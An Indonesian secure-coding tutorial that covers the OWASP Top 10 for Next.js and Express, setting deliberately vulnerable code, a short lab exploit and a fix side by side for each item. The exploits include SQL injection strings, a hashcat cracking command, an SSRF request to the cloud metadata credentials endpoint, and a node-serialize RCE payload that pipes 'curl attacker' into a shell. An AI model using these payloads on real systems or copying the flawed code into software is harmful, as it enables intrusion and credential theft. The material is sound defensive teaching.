OWASP Top 10 di Kode Nyata — Vulnerability, Exploit, dan Fix di Next.js & Express

Kamu sudah hafal A01:2021 itu "Broken Access Control". Tapi pas lihat kode app/api/admin/users/route.ts yang cuma cek if (!user) tanpa cek role, kamu biarkan lewat karena "nanti dibenerin". Enam bulan kemudian ada di headline. OWASP Top 10 bukan daftar untuk dihafal di quiz — ini adalah 10 cara paling umum aplikasi production kena hack, dan tiap item punya bentuk nyata di Next.js maupun Express. Artikel ini tidak akan mendefinisikan istilah. Kita langsung bedah kode yang salah, cara saya nge-exploitnya di lab, dan gimana nge-fix-nya dengan alasan yang jelas.

A01 — Broken Access Control: route yang lupa cek role

Di Next.js App Router, middleware sering cuma ngecek "sudah login apa belum", bukan "punya hak apa". Ini contoh route admin yang salah:

// app/api/admin/users/route.ts — SALAH
import { getServerSession } from "next-auth";
import { prisma } from "@/lib/prisma";

export async function GET() {
  const session = await getServerSession();
  if (!session) {
    return Response.json({ error: "Unauthorized" }, { status: 401 });
  }
  // BUG: tidak cek session.user.role === "admin"
  const users = await prisma.user.findMany();
  return Response.json(users);
}

Cara exploit: user biasa login, copy cookie session, GET ke /api/admin/users. Karena cuma dicek !session, ia baca seluruh tabel user termasuk hash password dan email. Di Burp: GET /api/admin/users dengan cookie next-auth.session-token=....

Fix: terapkan authorization terpusat, jangan di tiap route manual. Buat helper:

// lib/authz.ts
export async function requireAdmin() {
  const session = await getServerSession();
  if (!session?.user) throw new AuthError(401);
  if (session.user.role !== "ADMIN") throw new AuthError(403);
}

// route.ts — BENAR
export async function GET() {
  try {
    await requireAdmin();
    return Response.json(await prisma.user.findMany());
  } catch (e) {
    return Response.json({ error: "Forbidden" }, { status: (e as AuthError).code });
  }
}

Alasan: cek role harus eksplisit dan terpusat supaya satu route lupa nulis tidak langsung jadi celah. Jangan andalkan "frontend tidak nampilin tombol admin" — frontend bukan security boundary.

Di Express pun sama. Middleware auth() yang cuma isi req.user = decode(token) lalu route app.get('/admin', auth, handler) tanpa cek role = celah identik.

A02 — Cryptographic Failures: password pakai MD5

Masih banyak yang compile kode lama pakai crypto.createHash('md5').update(password).digest('hex'). MD5 tidak punya salt dan bisa di-bruteforce dengan rainbow table dalam detik.

// Express — SALAH
const crypto = require("crypto");
app.post("/login", (req, res) => {
  const hash = crypto.createHash("md5").update(req.body.password).digest("hex");
  // bandingkan ke DB
});

Exploit: ambil dump DB (lihat A01), jalankan hashcat -m 0 dump.txt rockyou.txt — MD5 tanpa salt crack ratusan ribu password dalam menit.

Fix: pakai bcrypt atau argon2 dengan cost factor memadai:

const bcrypt = require("bcrypt");
const hash = await bcrypt.hash(password, 12); // 12 round, ada salt otomatis
// verify
if (await bcrypt.compare(password, user.hash)) { ... }

Di Prisma schema, jangan simpan plaintext dan jangan hash di client (client hash tetap butuh salt server-side, kalau tidak ia jadi password baru yang bisa di-replay). Alasan: MD5/SHA1 usianya habis untuk password; bcrypt punya work factor yang bisa dinaikkan seiring hardware cepat.

A03 — Injection: query mentah di Prisma dan raw SQL di Express

Injection tidak hilang cuma karena kamu pakai ORM. Ini cara orang tetap kena:

// Next.js — SALAH: string interpolation ke query mentah
const email = req.query.email as string;
const users = await prisma.$queryRawUnsafe(
  `SELECT * FROM "User" WHERE email = '${email}'`  // ← interpolasi langsung
);

Exploit: ?email=' OR '1'='1 → balik semua baris. Atau '; DROP TABLE "User"; -- kalau permission DB longgar.

Fix: pakai parameterized query atau API typed Prisma:

// aman: Prisma typed
const users = await prisma.user.findMany({ where: { email } });

// kalau harus raw, pakai parameter binding
const users = await prisma.$queryRaw`SELECT * FROM "User" WHERE email = ${email}`;

Perhatikan backtick template di Prisma $queryRaw itu bukan string biasa — ia otomatis parameterized. Jangan pakai $queryRawUnsafe kecuali betul-betul perlu dan inputnya sudah divalidasi ketat.

Di Express + pg:

// SALAH
client.query(`SELECT * FROM users WHERE id = ${req.params.id}`);
// BENAR
client.query("SELECT * FROM users WHERE id = $1", [req.params.id]);

A04 — Insecure Design: token reset password yang bisa ditebak

Ini bukan implementasi, tapi desain. Banyak yang bikin reset token dari Math.random().toString(36) — bisa ditebak karena entropy rendah dan bisa di-enumerate.

// SALAH secara desain
const token = Math.random().toString(36).slice(2); // ~32 bit entropy, bisa brute
await prisma.passwordReset.create({ data: { userId, token, expires: addHours(1) } });

Exploit: attacker generate token sendiri, hit /api/reset?token=... secara brute-force hingga kebetulan valid, ganti password korban.

Fix: token harus crypto.randomBytes(32).toString('hex') (256 bit), disimpan sebagai hash (jangan plaintext di DB), punya expiry, dan satu kali pakai (hapus setelah dipakai). Alasan: reset password adalah full account takeover vector; entropy rendah = sama saja kasih kunci duplikat.

A05 — Security Misconfiguration: debug mode dan header bocor

Next.js di production masih next dev karena lupa ganti script, atau Express app.use(express.errorHandler()) di prod yang print stack trace lengkap.

// Express — SALAH di prod
if (app.get("env") === "development") {
  app.use(errorHandler()); // tapi env kadang salah set
}

Exploit: trigger 500, baca stack trace dapat path file, versi modul, struktur internal. Di Next.js dev mode, error overlay bocor source code lewat /_next.

Fix: - Pastikan NODE_ENV=production dan jalankan next start, bukan next dev. - Hapus X-Powered-By di Express: app.disable('x-powered-by'). - Tambah security header (lihat artikel hardening sebelumnya): X-Content-Type-Options: nosniff, X-Frame-Options: DENY, HSTS. - Jangan commit .env — sudah dibahas di hardening. Alasan: info leak dari header/stack trace mempercepat recon attacker jam demi menit.

A06 — Vulnerable and Outdated Components: dependency lama

npm audit bilang 14 high, kamu ketik npm audit fix --force lalu aplikasi break, jadi kamu revert. Tahan. Cek package-lock.json: kalau next di 13.0.0 dan ada CVE di 13.x sebelum 13.5.4, itu A06 nyata.

Exploit: CVE tertentu di Next.js App Router (misal SSRF di image optimizer, atau cache poisoning) sudah ada PoC publik. Attacker cuma jalanin script.

Fix: proses update terjadwal, bukan reaktif. Pakai Dependabot/Renovate di repo, baca changelog major sebelum naik versi, dan jalankan di staging dulu. Untuk Next.js, selalu patch ke versi aman terbaru di minor tersebut. Alasan: komponen usang adalah cara termudah masuk karena exploit-nya sudah ditulis orang lain.

A07 — Identification and Authentication Failures: session tetap valid setelah logout

Next.js dengan next-auth sering lupa invalidate token di server saat logout, apalagi kalau pakai JWT stateless.

// SALAH: logout cuma hapus cookie di client
signOut(); // token JWT masih valid kalau attacker sudah copy

Exploit: attacker yang sudah dapat cookie (lewat XSS di A07 atau sniff di A02) tetap bisa pakai token meski user klik logout.

Fix: pakai rotation + blacklist. Untuk JWT, simpan jti di Redis, saat logout masukkan ke deny list sampai expiry. Atau pakai session DB (Prisma Session table) dan hapus baris saat logout. Tambah: lockout setelah 5 gagal login (lihat hardening), dan SameSite=Lax/Strict + HttpOnly + Secure di cookie. Alasan: logout yang tidak menginvalidasi = token jadi credential abadi.

A08 — Software and Data Integrity Failures: deserialisasi tak aman

Express yang pakai express-session dengan store Redis aman. Tapi kalau kamu pakai node-serialize atau eval JSON mentah dari request:

// SALAH: deserialisasi tidak terpercaya
const deserialize = require("node-serialize");
app.post("/prefs", (req, res) => {
  const obj = deserialize(req.body.data); // attacker kontrol isi
});

Exploit: payload {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl attacker|sh')}()"} — RCE langsung.

Fix: jangan deserialize kode. Pakai JSON biasa dan validasi schema dengan Zod. Kalau butuh session, serahkan ke library berpengalaman (iron-session, jose untuk JWT). Alasan: deserialisasi input musuh = eksekusi kode atas kendali musuh.

A09 — Security Logging and Monitoring Failures: tidak ada log login gagal

Aplikasi yang tidak log failed_login dan role_change adalah alasan insiden tidak ketahuan berbulan-bulan.

// SALAH: login gagal cuma return 401, tidak log
if (!ok) return Response.json({ error: "invalid" }, { status: 401 });

Exploit: attacker laku brute force pelan-pelan (1 req/detik) tanpa ketahuan karena tidak ada alarm.

Fix: log terstruktur ke stdout (yang ditangkap journald/Docker) dengan field: email, ip, result, ts. Kirim ke Loki/Grafana (lihat artikel monitoring). Buat alert kalau >10 gagal per IP per 5 menit. Jangan log password mentah atau token. Alasan: tanpa log, "apakah kita diretas?" tidak bisa dijawab.

A10 — Server-Side Request Forgery (SSRF): fetch URL dari user

Fitur "preview link" yang fetch URL user adalah SSRF klasik.

// Next.js API — SALAH
const { url } = await req.json();
const res = await fetch(url); // attacker isi http://169.254.169.254/...
return new Response(await res.text());

Exploit: url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ → baca kredensial cloud instance (AWS metadata endpoint). Atau http://localhost:3000/admin untuk akses internal.

Fix: - Validasi skema harus http/https saja, bukan file:// atau gopher://. - Deny IP privat/link-local: blokir range 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, 127.0.0.0/8, dan IPv6 fc00::/7, fe80::/10, ::1. - Resolve DNS dulu, cek IP hasil resolve, baru fetch — jangan fetch langsung (attacker pakai redirect DNS). - Kalau memungkinkan, allowlist domain.

import net from "net";
function isPrivate(ip: string) {
  // cek range di atas, return true kalau privat
}
const { address } = await dns.lookup(url.hostname);
if (isPrivate(address)) return Response.json({ error: "blocked" }, { status: 400 });

Alasan: SSRF adalah jembatan dari app publik ke metadata cloud dan internal service — sering jadi awal breach besar.

Kesimpulan tanpa motivasi palsu

Sepuluh item di atas bukan abstract. Tiap hari ada production Next.js/Express yang punya minimal satu di antaranya. Urutan prioritas: mulai dari A01 (access control) dan A03 (injection) karena paling sering dan paling murah dicegah dengan disiplin kode. A10 (SSRF) dan A08 (deserialisasi) jarang tapi fatal. Logging (A09) bukan fitur, tapi syarat supaya 9 lainnya bisa dideteksi.

Takeaways

  • A01: cek role terpusat, jangan per-route manual; frontend bukan boundary.
  • A02: bcrypt/argon2 + salt; MD5/SHA1 untuk password sudah mati.
  • A03: jangan interpolasi ke SQL; pakai parameterized atau ORM typed.
  • A04: token reset harus 256-bit random, hash, expiry, sekali pakai.
  • A05: next start di prod, disable x-powered-by, pasang security header.
  • A06: update dependency terjadwal via Dependabot, jangan tunda.
  • A07: invalidasi session di server saat logout; cookie HttpOnly+Secure+SameSite.
  • A08: jangan deserialize input user; validasi dengan Zod.
  • A09: log login gagal & perubahan privilege; alert >10/5 menit.
  • A10: validasi URL, blokir IP privat/link-local, DNS resolve lalu cek.